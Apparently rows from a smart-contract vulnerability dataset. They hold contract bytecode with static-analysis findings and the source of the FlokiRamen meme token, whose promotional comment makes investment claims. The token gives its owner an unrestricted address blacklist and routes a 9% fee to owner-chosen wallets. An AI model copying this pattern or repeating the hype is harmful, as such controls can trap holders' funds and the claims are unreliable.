102ef600480360360408110156103f757600080fd5b50803590602001356001600160a01b0316610c0f565b61036d610e45565b610239610e54565b610239610e5a565b6102ef610e66565b6102ef6004803603602081101561044357600080fd5b50356001600160a01b0316610f4d565b6102396004803603604081101561046957600080fd5b5080359060200135610fec565b610239611004565b61023961100a565b610239611010565b610239611016565b610239600480360360608110156104ac57600080fd5b508035906020810135906040013561101c565b610239600480360360408110156104d557600080fd5b50803590602001356110da565b610239600480360360408110156104f857600080fd5b50803590602001356110f3565b6102396004803603604081101561051b57600080fd5b50803590602001356111f3565b61036d6004803603602081101561053e57600080fd5b5035611208565b6102ef6004803603604081101561055b57600080fd5b508035906020013561122f565b6000676765c793fa10079d601b1b61058084846105a5565b8161058757fe5b049392505050565b600061059f82633b9aca006105a5565b92915050565b60008115806105c0575050808202828282816105bd57fe5b04145b61059f576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6d756c2d6f766572666c6f7760501b604482015290519081900360640190fd5b60015481565b60035481565b60006020819052908152604090205481565b600554604080516375ad331760e11b81523060048201528151600093849384936001600160a01b039092169263eb5a662e926024808201939291829003018186803b15801561067657600080fd5b505afa15801561068a573d6000803e3d6000fd5b505050506040513d60408110156106a057600080fd5b50805160209091015190925090506106b882826110da565b9250505090565b3360009081526020819052604090205460011461070d5760405162461bcd60e51b8152600401808060200182810382526036815260200180611a156036913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b61077e60065461077142600a54610b16565b1015600a546000146115d3565b6107b95760405162461bcd60e51b81526004018080602001828103825260248152602001806119716024913960400191505060405180910390fd5b60006107c9600a546006546110f3565b42600a5590506000805b600d5481101561089057600c54600d80546108869285926001600160a01b039091169163fabde80c91908690811061080757fe5b60009182526020918290200154604080516001600160e01b031960e086901b1681526001600160a01b0390921660048301525160248083019392829003018186803b15801561085557600080fd5b505afa158015610869573d6000803e3d6000fd5b505050506040513d602081101561087f57600080fd5b5051610b9a565b91506001016107d3565b506000610916600c60009054906101000a90046001600160a01b03166001600160a01b0316638543d5e06040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e457600080fd5b505afa1580156108f8573d6000803e3d6000fd5b505050506040513d602081101561090e57600080fd5b505183610b16565b905061099b81600c60009054906101000a90046001600160a01b03166001600160a01b0316631d2a783d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561096a57600080fd5b505afa15801561097e573d6000803e3d6000fd5b505050506040513d602081101561099457600080fd5b5051610b16565b905060006109ae606483046008546105a5565b90506000600b60009054906101000a90046001600160a01b03166001600160a01b0316633c7999576040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0057600080fd5b505afa158015610a14573d6000803e3d6000fd5b505050506040513d6020811015610a2a57600080fd5b5051600954909150821115610a3f5781610a43565b6009545b91508115610a515781610a55565b6000195b9150808210610a645781610a66565b805b600b5460408051630fe4f58960e41b8152771bdb905d58dd1a5bdb94de5cdd195b50dbda5b931a5b5a5d60421b60048201526024810184905290519294506001600160a01b039091169163fe4f58909160448082019260009290919082900301818387803b158015610ad757600080fd5b505af1158015610aeb573d6000803e3d6000fd5b50505050610af986866115d7565b505050505050565b6000670de0b6b3a764000061058084846105a5565b8082038281111561059f576040805162461bcd60e51b815260206004820152601760248201527f75696e742d75696e742d7375622d756e646572666c6f77000000000000000000604482015290519081900360640190fd5b60045481565b600b546001600160a01b031681565b600061059f82676765c793fa10079d601b1b6105a5565b8181018281101561059f576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6164642d6f766572666c6f7760501b604482015290519081900360640190fd5b676765c793fa10079d601b1b81565b60065481565b6005546001600160a01b031681565b33600090815260208190526040902054600114610c5d5760405162461bcd60e51b8152600401808060200182810382526036815260200180611a156036913960400191505060405180910390fd5b6001600160a01b038116610ca25760405162461bcd60e51b81526004018080602001828103825260248152602001806119956024913960400191505060405180910390fd5b8167747265617375727960c01b1415610d8b5760006001600160a01b0316816001600160a01b031663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf957600080fd5b505afa158015610d0d573d6000803e3d6000fd5b505050506040513d6020811015610d2357600080fd5b50516001600160a01b03161415610d6b5760405162461bcd60e51b81526004018080602001828103825260308152602001806119e56030913960400191505060405180910390fd5b600580546001600160a01b0319166001600160a01b038316179055610dfe565b81706c69717569646174696f6e456e67696e6560781b1415610dc757600b80546001600160a01b0319166001600160a01b038316179055610dfe565b60405162461bcd60e51b81526004018080602001828103825260348152602001806118aa6034913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b600c546001600160a01b031681565b60025481565b670de0b6b3a764000081565b610e85600754610e7842600a54610b16565b10156000600a5411611808565b610ec05760405162461bcd60e51b81526004018080602001828103825260248152602001806119716024913960400191505060405180910390fd5b42600a55600b5460408051630fe4f58960e41b8152771bdb905d58dd1a5bdb94de5cdd195b50dbda5b931a5b5a5d60421b6004820152600019602482015290516001600160a01b039092169163fe4f58909160448082019260009290919082900301818387803b158015610f3357600080fd5b505af1158015610f47573d6000803e3d6000fd5b50505050565b33600090815260208190526040902054600114610f9b5760405162461bcd60e51b8152600401808060200182810382526036815260200180611a156036913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b60008161058084676765c793fa10079d601b1b6105a5565b60075481565b60095481565b600a5481565b60085481565b60008380156110bc576001841680156110375785925061103b565b8392505b50600283046002850494505b84156110b657858602868782041461105e57600080fd5b8181018181101561106e57600080fd5b85900496505060018516156110ab57858302838782041415871515161561109457600080fd5b818101818110156110a457600080fd5b8590049350505b600285049450611047565b506110d2565b8380156110cc57600092506110d0565b8392505b505b509392505050565b6000818311156110ea57816110ec565b825b9392505050565b60008060015460001480156111085750600254155b905061111742851015826115d3565b1561112657600091505061059f565b6000841561113d576111384286610b16565b61113f565b835b90506111528482106001546000146115d3565b156111625760009250505061059f565b600061116e8286610b16565b90506000611199600254676765c793fa10079d601b1b61118c610628565b8161119357fe5b046110da565b90506003548211156111b057935061059f92505050565b60015482156111dd576111da6111d460045485676765c793fa10079d601b1b61101c565b82610568565b90505b818111156111e85750805b979650505050505050565b60008161058084670de0b6b3a76400006105a5565b600d818154811061121557fe5b6000918252602090912001546001600160a01b0316905081565b3360009081526020819052604090205460011461127d5760405162461bcd60e51b8152600401808060200182810382526036815260200180611a156036913960400191505060405180910390fd5b817518985cd9555c19185d1950d85b1b195c94995dd85c9960521b14156112e9576002548111156112df5760405162461bcd60e51b815260040180806020018281038252602d8152602001806118de602d913960400191505060405180910390fd5b6001819055611594565b81741b585e155c19185d1950d85b1b195c94995dd85c99605a1b14156113545760015481101561134a5760405162461bcd60e51b815260040180806020018281038252602d815260200180611944602d913960400191505060405180910390fd5b6002819055611594565b817f7065725365636f6e6443616c6c6572526577617264496e63726561736500000014156113d057676765c793fa10079d601b1b8110156113c65760405162461bcd60e51b81526004018080602001828103825260328152602001806118786032913960400191505060405180910390fd5b6004819055611594565b81756d6178526577617264496e63726561736544656c617960501b141561143a57600081116114305760405162461bcd60e51b815260040180806020018281038252603581526020018061180d6035913960400191505060405180910390fd5b6003819055611594565b816a75706461746544656c617960a81b1415611499576000811161148f5760405162461bcd60e51b815260040180806020018281038252602c8152602001806119b9602c913960400191505060405180910390fd5b6006819055611594565b81706261636b757055706461746544656c617960781b14156114ff5760065481116114f55760405162461bcd60e51b81526004018080602001828103825260368152602001806118426036913960400191505060405180910390fd5b6007819055611594565b8173676c6f62616c4465627450657263656e7461676560601b14156115745761152f600082116064831115611808565b61156a5760405162461bcd60e51b815260040180806020018281038252603981526020018061190b6039913960400191505060405180910390fd5b6008819055611594565b816e1b5a5b905d58dd1a5bdb931a5b5a5d608a1b1415610dc75760098190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b1790565b6005546001600160a01b03838116911614156115f257611804565b60055461160a906001600160a01b03161582156115d3565b1561161457611804565b60006001600160a01b0383161561162b578261162d565b335b6005546040805163a7e9445560e01b815290519293506001600160a01b039091169163201add9b918491849163a7e94455916004808301926020929190829003018186803b15801561167e57600080fd5b505afa158015611692573d6000803e3d6000fd5b505050506040513d60208110156116a857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820186905251606480830192600092919082900301818387803b15801561170057600080fd5b505af1925050508015611711575060015b611802573d80801561173f576040519150601f19603f3d011682016040523d82523d6000602084013e611744565b606091505b507ff7bf1f7447ce563690edb2abe40636178ff64fc766b07bf3e171b16102794a548183856040518080602001846001600160a01b03166001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019080838360005b838110156117c45781810151838201526020016117ac565b50505050905090810190601f1680156117f15780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a1505b505b5050565b169056fe436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d61782d696e6372656173652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6261636b75702d7570646174652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d7265776172642d696e637265617365436f6c6c61746572616c41756374696f6e5468726f74746c65722f6d6f646966792d756e7265636f676e697a65642d706172616d436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d696e2d726577617264436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d676c6f62616c2d646562742d70657263656e74616765436f6c6c61746572616c41756374696f6e5468726f74746c65722f696e76616c69642d6d61782d726577617264436f6c6c61746572616c41756374696f6e5468726f74746c65722f776169742d6d6f7265436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d61646472436f6c6c61746572616c41756374696f6e5468726f74746c65722f6e756c6c2d7570646174652d64656c6179436f6c6c61746572616c41756374696f6e5468726f74746c65722f74726561737572792d636f696e2d6e6f742d736574496e6372656173696e6754726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a6564a2646970667358221220340d32c791871b3fbbe773a5cc3b5007fb0ed6946e5f812e4185645f900efe1d64736f6c63430006070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,558 |
0x5234d7675e043b211fad006d78791fe6ea7caf2f | /**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
/*
https://twitter.com/FlokiRamen
https://flokiramen.com/
https://t.me/FlokiRamenETH
Floki Ramen ($FLRA) has launched based on Elon Musk's tweets.
Every single transaction has a 9% automatic development fee and a 2% redistribution protocol to protect holders.
This protocol pairing increases the value of each holder’s investment over time.
Once liquidity is added, you can buy this on Uniswap at:
https://app.uniswap.org/#/swap?outputCurrency=0x5234d7675e043b211fad006d78791fe6ea7caf2f&use=V2
✅No presales
✅No team wallets
✅100% of total supply to liquidity
✅Liquidity will be locked
✅Ownership will be renounced
✅Get more tokens just for holding
✅Total supply: 1,000,000,000,000
💲Fees
2% redistributed to holders
9% dev fee
🤖⛔️Anti-bot measures
🤖️Known sandwich bots are blocked
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlokiRamen is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Floki Ramen";
string private constant _symbol = 'FLRA️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f466c6f6b692052616d656e000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a